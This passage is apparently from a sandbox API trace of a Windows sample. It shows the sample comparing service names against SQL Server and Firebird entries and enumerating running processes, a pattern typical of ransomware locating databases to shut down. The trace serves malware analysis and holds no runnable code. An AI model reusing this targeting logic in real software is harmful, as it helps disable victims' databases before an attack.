(lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0307.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0307.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0307.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0307.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0307.946] lstrlenW (lpString="DPS") returned 3 [0307.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0307.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0307.947] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0307.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0307.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0307.947] lstrlenW (lpString="DusmSvc") returned 7 [0307.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0307.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0307.947] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0307.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0307.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0307.947] lstrlenW (lpString="EventLog") returned 8 [0307.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0307.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0307.947] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0307.947] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0307.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0307.947] lstrlenW (lpString="EventSystem") returned 11 [0307.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0307.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0307.947] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0307.947] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0307.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0307.947] lstrlenW (lpString="FontCache") returned 9 [0307.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0307.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0307.947] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0307.947] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0307.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0307.947] lstrlenW (lpString="gpsvc") returned 5 [0307.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0307.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0307.948] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0307.948] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0307.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0307.948] lstrlenW (lpString="iphlpsvc") returned 8 [0307.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0307.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0307.948] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0307.948] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0307.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0307.948] lstrlenW (lpString="KeyIso") returned 6 [0307.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0307.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0307.948] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0307.948] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0307.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0307.948] lstrlenW (lpString="LanmanServer") returned 12 [0307.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0307.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0307.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0307.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0307.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0307.948] lstrlenW (lpString="LanmanWorkstation") returned 17 [0307.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0307.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0307.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0307.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0307.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0307.948] lstrlenW (lpString="lfsvc") returned 5 [0307.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0307.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0307.950] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0307.950] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0307.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0307.950] lstrlenW (lpString="lmhosts") returned 7 [0307.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0307.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0307.950] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0307.950] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0307.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0307.950] lstrlenW (lpString="LSM") returned 3 [0307.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0307.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0307.950] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0307.950] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0307.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0307.951] lstrlenW (lpString="MpsSvc") returned 6 [0307.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0307.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0307.951] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0307.951] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0307.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0307.951] lstrlenW (lpString="NcbService") returned 10 [0307.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0307.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0307.951] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0307.951] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0307.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0307.951] lstrlenW (lpString="netprofm") returned 8 [0307.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0307.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0307.951] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0307.951] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0307.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0307.951] lstrlenW (lpString="NgcSvc") returned 6 [0307.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0307.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0307.951] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0307.951] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0307.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0307.951] lstrlenW (lpString="NlaSvc") returned 6 [0307.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0307.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0307.951] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0307.951] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0307.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0307.952] lstrlenW (lpString="nsi") returned 3 [0307.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0307.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0307.952] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0307.952] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0307.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0307.952] lstrlenW (lpString="PcaSvc") returned 6 [0307.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0307.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0307.952] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0307.952] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0307.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0307.952] lstrlenW (lpString="PlugPlay") returned 8 [0307.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0307.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0307.952] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0307.952] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0307.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0307.952] lstrlenW (lpString="Power") returned 5 [0307.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0307.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0307.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0307.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0307.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0307.952] lstrlenW (lpString="ProfSvc") returned 7 [0307.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0307.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0307.952] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0307.953] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0307.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0307.953] lstrlenW (lpString="RpcEptMapper") returned 12 [0307.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0307.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0307.953] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0307.953] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0307.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0307.953] lstrlenW (lpString="RpcSs") returned 5 [0307.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0307.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0307.953] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0307.953] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0307.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0307.953] lstrlenW (lpString="SamSs") returned 5 [0307.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0307.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0307.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0307.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0307.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0307.953] lstrlenW (lpString="Schedule") returned 8 [0307.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0307.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0307.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0307.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0307.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0307.970] lstrlenW (lpString="SecurityHealthService") returned 21 [0307.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0307.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0307.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0307.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0307.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0307.970] lstrlenW (lpString="SENS") returned 4 [0307.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0307.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0307.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0307.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0307.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0307.973] lstrlenW (lpString="ShellHWDetection") returned 16 [0307.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0307.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0307.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0307.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0307.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0307.973] lstrlenW (lpString="Spooler") returned 7 [0307.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0307.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0307.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0307.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0307.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0307.974] lstrlenW (lpString="StateRepository") returned 15 [0307.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0307.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0307.974] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0307.974] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0307.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0307.974] lstrlenW (lpString="SysMain") returned 7 [0307.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0307.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0307.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0308.004] lstrlenW (lpString="SystemEventsBroker") returned 18 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0308.004] lstrlenW (lpString="Themes") returned 6 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0308.004] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0308.005] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d0c568 | out: hHeap=0x700000) returned 1 [0308.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0308.015] Process32FirstW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.016] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0308.017] lstrlenW (lpString="System") returned 6 [0308.017] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0308.018] lstrlenW (lpString="smss.exe") returned 8 [0308.018] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.019] lstrlenW (lpString="csrss.exe") returned 9 [0308.019] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0308.019] lstrlenW (lpString="wininit.exe") returned 11 [0308.019] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0308.020] lstrlenW (lpString="csrss.exe") returned 9 [0308.020] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0308.021] lstrlenW (lpString="winlogon.exe") returned 12 [0308.021] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0308.022] lstrlenW (lpString="services.exe") returned 12 [0308.022] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0308.023] lstrlenW (lpString="lsass.exe") returned 9 [0308.023] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.024] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0308.024] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0308.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.025] lstrlenW (lpString="svchost.exe") returned 11 [0308.025] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.026] lstrlenW (lpString="svchost.exe") returned 11 [0308.026] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0308.027] lstrlenW (lpString="dwm.exe") returned 7 [0308.027] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.028] lstrlenW (lpString="svchost.exe") returned 11 [0308.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.029] lstrlenW (lpString="svchost.exe") returned 11 [0308.029] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.029] lstrlenW (lpString="svchost.exe") returned 11 [0308.029] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.030] lstrlenW (lpString="svchost.exe") returned 11 [0308.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.031] lstrlenW (lpString="svchost.exe") returned 11 [0308.031] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.032] lstrlenW (lpString="svchost.exe") returned 11 [0308.032] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.033] lstrlenW (lpString="svchost.exe") returned 11 [0308.033] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.033] lstrlenW (lpString="svchost.exe") returned 11 [0308.033] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.034] lstrlenW (lpString="svchost.exe") returned 11 [0308.034] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.035] lstrlenW (lpString="svchost.exe") returned 11 [0308.035] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 